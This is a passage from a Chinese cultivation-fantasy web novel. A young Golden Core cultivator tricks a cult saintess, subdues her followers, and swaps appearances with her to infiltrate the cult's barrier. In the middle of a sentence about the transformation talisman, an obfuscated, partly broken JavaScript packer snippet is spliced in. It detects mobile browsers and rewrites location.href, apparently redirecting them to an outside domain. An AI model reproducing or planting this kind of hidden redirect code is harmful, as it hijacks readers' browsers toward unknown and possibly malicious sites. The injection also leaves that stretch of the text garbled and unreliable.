莲心这下已不是惊讶了,喝了六瓶净水依然没有反应的人,她还真是头一回见到,而且观她周身毫无灵力波动,竟真是个实打实的凡人。 凡人之躯能扛住六瓶净水的洗涤,心神必然强大到极致,若真能将其渡化成魔,说不定能成为比寻常惑心级还要更强的化生魔。 “有。”她压下心头的念头,缓缓点了点头,声音比先前沉了几分,对着身后的侍女抬了抬下巴:“再去取。” 不光莲心圣女被震惊了,冷玄明也快被他的小师妹给吓死了。 多大的胆子就敢这么把疑似千灯教用来操控教众的净水喝了一瓶又一瓶,金丹期就能这么玩了吗? 沈玄宁趁着千灯教的弟子去取净水的间隙冲着她六师兄轻轻眨了一下眼,给了他一个放心的眼神。 没等片刻,那几名千灯教女弟子便捧着装着净水的玉瓶折返,沈玄宁依然是眼都不眨一下地全喝了,最后一瓶喝完时,沈玄宁还特意将空瓶倒转过来,在莲心面前轻轻晃了两下—— 瓶底滴下两滴残液,确实喝得干干净净,她坦荡得没有半点不见局促,反倒喝出了几分豪饮烈酒的气势。 沈玄宁冲着莲心勾了勾唇角,眼底掠过一丝狡黠的笑意,语气十分的漫不经心:“圣女现在一定很好奇,我喝了这么多净水,怎么半点反应都没有吧?” 莲心瞳孔微缩,盯着沈玄宁的眼神满是惊疑不定—— “你……” “好了,不陪你玩了。” 莲心脸色骤变,终于像是意识到了什么,惊得瞪大了眼,厉声喊道:“快!切断结界!!!” 她话音未落,下一秒身体便被一股无形的力量狠狠压制,突然跪倒在地。 不止是她,那些隐在殿柱阴影里的千灯教弟子,也全都被这股强大的灵力压得动弹不得,接二连三地跪倒在地,连抬头的力气都没有,只能在灵力的压迫下不住颤抖。 “金丹修士?!”莲心被灵力压得额角抵着地面,声音里满是难以置信的颤抖,连带着呼吸都变得急促,“怎么可能!!!” 她死死盯着沈玄宁,沈玄宁虽然吃了丹药改换了外貌,但也只是变得平凡低调,瞧着依然是二八少女的模样。 修真界能在三十岁前结丹已能算得上是天赋异禀了,而像沈玄宁这般年纪的金丹期修士,别说见了,她连听都没听过! 可此刻席卷大殿的灵力浑厚又凝练,绝非筑基修士能拥有,那股威压更是实打实的金丹期气息。 震惊之余,她忽然想起那一瓶瓶被喝下的净水,就算是金丹修士,也不该喝这么多净水都没有反应。 莲心声音发颤地问道:“……净水竟对你没用?” “当然没用了。”沈玄宁轻轻蹲下身,与她对视,指尖在空中随意绕了绕,一道清澈的水流凭空浮现,顺着她指尖转动的轨迹,在莲心眼前缓缓划过,她轻声道:“因为我根本没喝啊。” 沈玄宁自然不敢这么大喇喇地喝这个净水,入口的瞬间已经全部转移到了系统空间内,系统空间不属于这个世界,使用起来更不会产生任何灵力波动,自然也不可能被金殿里的人察觉分毫。 “结界密道在佛像后面。” 众人立刻转身绕到神像后方,那里悬浮着一道泛着蓝光的结界入口。 而结界旁,几个方才隐在暗处的千灯教弟子,正被强大的灵力压得趴在地上,显然他们方才是想去关闭结界,可此刻却连抬头的力气都没有,面对金丹修士,他们倒也不做徒劳的挣扎了。 这传送结界有千灯教的秘术加持,只有本教弟子才能开启,旁人若是想要解开需要不少时间,沈玄宁自然没工夫在这里慢慢拆解。 她方才一直喝净水,本就是为了拖延时间。 早在进金殿之前,她就和冷玄明商量好了对策,外面布有禁制,众人无法摸清殿内具体情况。进殿后便由她出面吸引莲心等人的注意力拖延时间,冷玄明则是探明了整座金殿的情况,确实没有高阶修士的存在。 沈玄宁才抓着结界开启的时候突然发难,也拦下了他们关闭传送结界。 顾文竹用灵力探了探这结界,说道:“这结界深不见底,也不知道会通往什么地方。” “进结界里一探究竟就知道了。”沈玄宁目光落在结界上,沉吟片刻后开口:“顾师兄,你们都找千灯教弟子的衣服换上,我去换那圣女的服饰,等会儿咱们扮成他们的人进去。” 众人应下,回到了被压制在地的莲心等人面前。 “仙门弟子?” “嘿嘿,莲心圣女,得罪了哈。”沈玄宁俯身将莲心拽了起来,半拖半就地将她带到了殿柱后的阴影里,随即从腰间的锁灵囊中取出两张符纸。 莲心被灵力束缚着,只能警惕地瞪着她,声音发紧:“你要做什么?” 沈玄宁指尖捏着符纸,冲她轻轻一笑:“不做什么,就是想借圣女的相貌用上一用。” 说罢她便将一张符纸贴在莲心身上,另一张则按在自己身上。 灵力催动,符纸上的朱砂瞬间亮起,两道微光分别裹住两人,不过眨眼的功夫,光芒散去,沈玄宁已换上了莲心那身华贵的紫衣,额间是那枚紫晶额饰,而莲心则穿着沈玄宁先前那身衣物,连容貌都变成了沈玄宁伪装后的模样。 符天峰的换形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376677|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符,能瞬间交换两人的外貌衣着,就是时效短了些,只能维持几个时辰。 沈玄宁这边完成了换形,冷玄明等人也已换上千灯教弟子的服饰,唯有宁为玉还捏着衣料站在原地,眉头皱得能夹死蚊子,那嫌弃的模样仿佛手里拿的不是衣服,而是什么秽物。 没等沈玄宁开口,他突然从储物袋里取出了沈玄宁先前送他的那枚凝霜铁,这次他早有准备倒是没有被冻得一激灵。 凝霜铁在衣料上轻轻一点,寒气瞬间蔓延,整件衣服表面立刻结了一层薄冰,又在眨眼间碎裂,连带着衣料上残留的气息也一并除尽。 这才算干净了。 宁二少爷终于把衣服换上了。 沈玄宁看得直乐:“怎么样,我就说好用吧,这搓衣服可好使了!” 她的目光又扫过殿内被压制的千灯教弟子,思索了一阵。 这望虞津的分教兴许是刚刚建立的缘故,人员并不完布,这些人里修为最高的便是莲心,却也不过筑基后期而已,根本挣脱不了金丹期的压制。 即便如此,沈玄宁还是取出缚灵索,一圈圈仔细缠在他们身上,又抬手布了个结界,一道浅金色的结界瞬间笼罩住几人,很快就与周围的阴影融为一体。 万界城的屏蔽结界,能隔绝所有气息,同时也能将他们彻底锁在里面,不怕一万就怕万一,虽然知道他们跑不了,但还是多加几层防护才放心。 顾文竹看着隐匿起来的结界,挑眉道:“你这万界城的结界术倒是熟练。” 冷玄明道:“我猜,你下一句是不是想说,她到底是万界城的还是逍遥宗的?” 沈玄宁闻言干笑两声,打了个哈哈开始胡诌:“哎呀,学海无涯学无止境嘛!这俗话说得好啊,这技多不压身,闲时学来急时用,钥匙多了不怕锁……” 就在这时,一道迟疑的女声突然响起,打破了殿内的平静:“你们……是谁?” 众人循声望去,才发现说话的是靠念力点亮长明灯的那名女子,她此刻正站在不远处,眼神里满是警惕。 沈玄宁拍了下额头,倒是忘了这茬,先头有个凡人女子同他们一起进来了,因瞧着以为是被千灯教蒙蔽的凡人,便没太放在心上。 那女子的神情骤然变得激动,眼底涌起点点希冀的光,她又往前迈了半步:“你们是仙门弟子!对不对?” 没等众人回应,她又急切地追问,语气里满是恳求:“你们是不是要去寻千灯教的老巢?求求你们带上我好不好!我弟弟就是被千灯教的人骗走的,到现在都没消息,我一定要去找他!!” 这话一出,沈玄宁都有些意外,原以为她是被蒙蔽的凡人,没想到也是识破了千灯教的伪装,目的和他们不谋而合。 不过胆子还是太大了一些,竟然敢独身一人来探,若不是今天遇上他们,此刻她便是危险了。 沈玄宁看着她眼底的恳切,却还是摇了摇头:“我们也不确定结界后面是什么,你没有半点灵力,跟着下去,恐怕会有危险。我们也不可能时刻分心出来保护你。” “我可以自保的,求求你们,带上我吧。”